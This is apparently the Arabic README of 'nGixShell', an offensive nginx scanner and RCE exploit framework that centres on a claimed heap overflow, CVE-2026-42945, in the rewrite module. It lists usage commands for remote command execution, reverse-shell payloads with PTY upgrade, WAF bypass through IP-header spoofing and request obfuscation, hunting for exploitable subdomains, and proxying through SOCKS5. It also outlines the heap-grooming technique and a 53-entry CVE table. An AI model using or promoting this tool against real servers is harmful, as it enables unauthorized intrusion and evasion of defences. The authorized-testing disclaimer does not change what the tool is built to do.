
nginx ماسح CVE + إطار عمل استغلال RCE (CVE-2026-42945 + 16 أخرى)
nGixShell هو ماسح ضوئي لثغرات nginx وإطار عمل لاستغلال RCE. يأتي مع إثبات مفهوم عملي لـ CVE-2026-42945 — وهو تجاوز سعة حرج للمخزن المؤقت في الكومة (heap buffer overflow) في ngx_http_rewrite_module — وماسح يغطي 53 ثغرة من ثغرات nginx مع فحوصات HTTP آلية، وبصمة الخادم، واكتشاف/تجاوز WAF، وتدقيق أمان الويب، وتوليد التقارير.
صفر تبعيات خارجية. مكتبة Python 3 القياسية فقط.
# Spin up the vulnerable lab
docker compose -f env/docker-compose.yml up -d
# Auto mode — fingerprint + CVE scan + web audit
python3 ngixshell.py 127.0.0.1:19321
# Execute a command via RCE (CVE-2026-42945)
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id'
# Drop a reverse shell (IP auto-detected)
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell
# Detect and bypass WAF, then scan
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass
# Subdomain scan
python3 ngixshell.py --subdomain-scan example.com --scan-port 443
# Multiple targets from a file
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html
لا حاجة لأي خيارات — توجيه الأداة إلى هدف يُشغّل كل شيء تلقائيًا.
TLS يُكتشف تلقائيًا. يتم التعرف على بصمة nginx حتى مع تفعيل server_tokens off.
python3 ngixshell.py [TARGET] [OPTIONS]
TARGET formats:
127.0.0.1
192.168.1.10:8080
http://192.168.1.10:8080
https://target.local
| الخيار | الوصف |
|---|---|
--waf-detect | اكتشاف WAF قبل الفحص |
--waf-bypass | تفعيل جميع تقنيات التجاوز (يشغّل الاكتشاف أيضًا) |
--waf-ip IP | انتحال عنوان IP هذا في ترويسات التجاوز (الافتراضي: RFC1918 عشوائي) |
تقنيات التجاوز (جميعها نشطة عند ضبط --waf-bypass):
واجهات WAF المكتشفة: Cloudflare, AWS WAF, Akamai, Imperva/Incapsula, ModSecurity, F5 BIG-IP ASM, Sucuri, Barracuda, NAXSI, Fastly, Wordfence
يعمل تلقائيًا في وضع الفحص. يمكن تخطي جميع الوحدات بشكل فردي.
/nginx_status إذا كان مكشوفًا| الخيار | الوصف |
|---|---|
--port PORT | تجاوز المنفذ |
--tls | فرض TLS (يُكتشف تلقائيًا افتراضيًا) |
| الخيار | الوصف |
|---|---|
--user-agent UA | وكيل مستخدم مخصص |
--auth USER:PASS | مصادقة HTTP الأساسية |
--cookie VALUE |
| الخيار | الوصف |
|---|---|
--rate-limit RPS | الحد الأقصى للطلبات في الثانية |
--jitter MS |
| الخيار | الوصف |
|---|---|
--output FILE |
53 إدخالًا تمتد من 2009 حتى 2026. مرتبة حسب CVSS.
يستخدم محرك سكربت إعادة الكتابة في nginx نموذج ثنائي المرور: حساب حجم المخزن المؤقت، ثم النسخ. يتم ضبط العلم is_args على المحرك الرئيسي عندما يحتوي بديل rewrite على ?، لكن مرور حساب الطول يعمل على محرك فرعي تم تصفيره حديثًا:
is_args = 0 ← يعيد طول الالتقاط الخامis_args = 1 ← يستدعي ngx_escape_uri(NGX_ESCAPE_ARGS)، موسّعًا كل بايت غير آمن إلى 3 بايتاتيؤدي النسخ إلى تجاوز سعة المخزن المؤقت للكومة صغير الحجم ببيانات URI يتحكم بها المهاجم. يُفسد الاستغلال مؤشر تنظيف ngx_pool_t مجاورًا عبر هندسة كومة عبر الطلبات (cross-request heap feng shui)، معيدًا توجيهه إلى ngx_pool_cleanup_s مزيف يستدعي system() عند تدمير التجمع.
| المنتج | المتأثرة | المُصحَّحة |
|---|---|---|
| NGINX Open Source | 0.6.27 – 1.30.0 | 1.31.0, 1.30.1 |
| NGINX Plus | R32 – R36 | R36 P4, R35 P2, R32 P6 |
نشرة البائع الأمنية: https://my.f5.com/manage/s/article/K000160932
تم اختباره على Ubuntu 24.04 LTS. يتطلب Docker وPython 3.8+.
# Start the vulnerable lab (nginx 1.25.3)
docker compose -f env/docker-compose.yml up -d
# Full scan
python3 ngixshell.py 127.0.0.1:19321
# RCE with JSON output
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id' --json
# Reverse shell — bash payload, PTY auto-upgrade
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell
# WAF bypass scan with spoofed IP
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass --waf-ip 10.10.10.1
# Through SOCKS5 proxy
python3 ngixshell.py 192.168.1.10 --proxy socks5://127.0.0.1:9050
# Subdomain scan with rate limiting
python3 ngixshell.py --subdomain-scan example.com --scan-port 443 --rate-limit 10
# Multiple targets, JSON output, HTML report
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html
للاستخدام في اختبارات الأمان المصرح بها، ومسابقات CTF، والأغراض البحثية فقط.
| الخيار | الوصف |
|---|
| (بدون) | تلقائي — بصمة الخادم + فحص CVE + تدقيق الويب |
--cmd 'CMD' | تنفيذ أمر عبر RCE الخاص بـ CVE-2026-42945 |
--cmd-file FILE | تنفيذ أوامر من ملف (مفصولة بـ ;) |
--shell | فتح قشرة عكسية (reverse shell) |
--shell-type TYPE | الحمولة: bash python perl php nc powershell (الافتراضي: python) |
--upgrade-shell | إرسال ترقية PTY تلقائيًا بعد اتصال القشرة |
--subdomain-scan DOMAIN | البحث عن nginx قابل للاستغلال في النطاقات الفرعية |
--cve CVE-ID | اختبار ثغرة CVE محددة واحدة |
--list-cves | طباعة جميع الثغرات الـ 53 مع CVSS ومعلومات الفحص |
--list-candidates | طباعة العناوين المرشحة للكومة (heap) |
--dry-run | بصمة الخادم + فحص فقط، دون استغلال |
--target-file FILE | فحص عدة مضيفين من ملف |
| التقنية | التفاصيل |
|---|
| انتحال IP | X-Forwarded-For, X-Real-IP, X-Originating-IP, True-Client-IP, X-Remote-IP, X-Client-IP |
| تدوير UA | 11 وكيل مستخدم حقيقي للمتصفحات/الروبوتات، تُختار عشوائيًا لكل طلب |
| إخفاء المسار | شرطة مزدوجة، حشو /./، ترميز النسبة المئوية، تنويع حالة الأحرف |
| خلط حالة الترويسة | عشوائية حالة أسماء الترويسات لكسر مطابقة أنماط WAF |
| الخيار | الوصف |
|---|
--skip-headers | تخطي تدقيق ترويسات أمان HTTP |
--skip-paths | تخطي اكتشاف المسارات/الملفات |
--skip-vhosts | تخطي تعداد المضيفات الافتراضية |
--skip-tls | تخطي تدقيق بروتوكول TLS |
--path-wordlist FILE | مسارات إضافية لفحصها (مسار واحد في كل سطر) |
--proxy URL | الوكيل: http://, https://, socks5:// |
| ترويسة الكوكيز |
--header NAME:VALUE | ترويسة إضافية (قابلة للتكرار) |
| تأخير عشوائي بين 0–MS ميلي ثانية بين الطلبات |
--retry N | إعادة محاولة الفحوصات غير الحاسمة (الافتراضي: 1) |
--timeout-multiplier X | قياس جميع المهلات (الافتراضي: 1.0) |
| كتابة السجل إلى FILE |
--json | طباعة ملخص JSON في النهاية |
--html-report [FILE] | إنشاء تقرير HTML (الافتراضي: ngixshell_<host>_<ts>.html) |
--verbose | مخرجات التصحيح |
| CVE | CVSS | المكوّن | الوصف |
|---|
| CVE-2026-42945 | 9.8 CRITICAL | rewrite | تجاوز سعة للكومة ← RCE (مُستغل) |
| CVE-2026-42946 | 8.1 HIGH | rewrite | تلف في الذاكرة (نفس النشرة الأمنية) |
| CVE-2022-41741 | 7.8 HIGH | mp4 | تلف في الذاكرة عبر mp4 خبيث |
| CVE-2016-1247 | 7.8 HIGH | packaging | تصعيد امتيازات عبر رابط رمزي لملف السجل |
| CVE-2021-23017 | 7.7 HIGH | resolver | كتابة خارج الحدود بمقدار واحد في الكومة (off-by-one) |
| CVE-2026-40701 | 7.5 HIGH | request | تلف في الذاكرة أثناء معالجة الطلبات |
| CVE-2026-42934 | 7.5 HIGH | request | تلف في الذاكرة (نفس النشرة الأمنية) |
| CVE-2026-27784 | 7.5 HIGH | mp4 | تجاوز سعة للمخزن المؤقت عبر mp4 مصمم بعناية |
| CVE-2026-32647 | 7.5 HIGH | mp4 | تجاوز سعة للمخزن المؤقت (شقيق ما سبق) |
| CVE-2024-24990 | 7.5 HIGH | HTTP/3 | استخدام بعد التحرير (Use-after-free) في وحدة QUIC |
| CVE-2024-24989 | 7.5 HIGH | HTTP/3 | إلغاء مرجعية مؤشر NULL في QUIC |
| CVE-2024-31079 | 7.5 HIGH | HTTP/3 | تجاوز سعة للمكدس في مُرمّز QUIC |
| CVE-2024-32760 | 7.5 HIGH | HTTP/3 | كتابة فوق المخزن المؤقت عبر إطار HEADERS |
| CVE-2022-41742 | 7.5 HIGH | mp4 | كشف محتويات ذاكرة الكومة |
| CVE-2017-7529 | 7.5 HIGH | range filter | تجاوز سعة للأعداد الصحيحة ← قراءة خارج الحدود |
| CVE-2016-0746 | 7.5 HIGH | resolver | استخدام بعد التحرير عبر استجابة DNS مصممة بعناية |
| CVE-2014-0133 | 7.5 HIGH | SPDY | تجاوز سعة للكومة في تطبيق SPDY |
| CVE-2014-0088 | 7.5 HIGH | SPDY | تلف في الذاكرة في SPDY |
| CVE-2013-4547 | 7.5 HIGH | core | تجاوز URI بمسافة وNUL |
| CVE-2013-2028 | 7.5 HIGH | core | تجاوز سعة للمكدس في الترميز المجزأ |
| CVE-2012-1180 | 7.5 HIGH | proxy | استخدام بعد التحرير في وحدة البروكسي |
| CVE-2009-3555 | 7.5 HIGH | SSL | حقن إعادة التفاوض TLS (هجوم الرجل في المنتصف MITM) |
| CVE-2009-2629 | 7.5 HIGH | core | نقص تدفق في المخزن المؤقت أثناء تحليل URI |
| CVE-2026-42926 | 6.5 MEDIUM | HTTP/2 | تقسيم الطلبات عبر البروكسي |
| CVE-2026-27654 | 6.5 MEDIUM | WebDAV | تجاوز سعة للكومة في وحدة DAV |
| CVE-2026-28753 | 6.5 MEDIUM | حقن ترويسات في بروكسي البريد | |
| CVE-2026-1642 | 6.5 MEDIUM | proxy | تسريب إعادة استخدام جلسة SSL للمصاعد (upstream) |
| CVE-2019-9511 | 6.5 MEDIUM | HTTP/2 | هجوم DoS على وحدة المعالجة والذاكرة عبر Data Dribble |
| CVE-2012-2089 | 6.8 MEDIUM | mp4 | تجاوز سعة للمخزن المؤقت عبر طلب mp4 |
| CVE-2018-16845 | 5.5 MEDIUM | mp4 | نقص تدفق للأعداد الصحيحة ← تعطل + كشف بيانات |
| CVE-2019-20372 | 5.3 MEDIUM | proxy | تهريب طلبات HTTP |
| CVE-2026-40460 | 5.3 MEDIUM | HTTP/3 | انتحال اتصال QUIC |
| CVE-2026-28755 | 5.3 MEDIUM | SSL | كشف ذاكرة أثناء معالجة OCSP |
| CVE-2025-23419 | 5.3 MEDIUM | SSL | تجاوز الشهادة في استئناف جلسة TLS |
| CVE-2024-35200 | 5.3 MEDIUM | HTTP/3 | إلغاء مرجعية مؤشر NULL |
| CVE-2024-34161 | 5.3 MEDIUM | HTTP/3 | كشف ذاكرة |
| CVE-2016-4450 | 5.3 MEDIUM | core | مؤشر NULL عبر جسم طلب مجزأ |
| CVE-2016-0742 | 5.0 MEDIUM | resolver | مؤشر غير صالح عبر حزمة UDP مصممة بعناية |
| CVE-2016-0747 | 5.0 MEDIUM | resolver | حد غير كافٍ لحل CNAME |
| CVE-2014-3556 | 5.0 MEDIUM | حقن أوامر STARTTLS | |
| CVE-2013-2070 | 5.3 MEDIUM | proxy | كشف استجابة الخادم الخلفي |
| CVE-2011-4963 | 5.0 MEDIUM | access | تجاوز التحكم في الوصول عبر عنوان IPv6 النصي |
| CVE-2011-4315 | 5.0 MEDIUM | resolver | تجاوز سعة للكومة عبر استجابة DNS مصممة بعناية |
| CVE-2009-3896 | 5.0 MEDIUM | core | هجوم DoS عبر إلغاء مرجعية مؤشر NULL |
| CVE-2025-53859 | 4.3 MEDIUM | حقن أوامر SMTP | |
| CVE-2014-3616 | 4.3 MEDIUM | SSL | الالتباس في المضيف الافتراضي عبر TLS SNI |
| CVE-2026-27651 | 4.3 MEDIUM | إلغاء مرجعية مؤشر NULL في بروكسي البريد | |
| CVE-2019-9513 | 4.3 MEDIUM | HTTP/2 | هجوم DoS على وحدة المعالجة عبر Resource Loop |
| CVE-2019-9516 | 4.3 MEDIUM | HTTP/2 | استنزاف الذاكرة عبر ترويسات بطول صفر |
| CVE-2018-16843 | 4.3 MEDIUM | HTTP/2 | استهلاك مفرط للذاكرة |
| CVE-2018-16844 | 4.3 MEDIUM | HTTP/2 | استهلاك مفرط لوحدة المعالجة عبر إطارات SETTINGS |
| CVE-2024-7347 | 4.7 MEDIUM | mp4 | قراءة خارج الحدود |
| CVE-2009-3898 | 4.9 MEDIUM | WebDAV | اجتياز الدلائل عبر COPY/MOVE |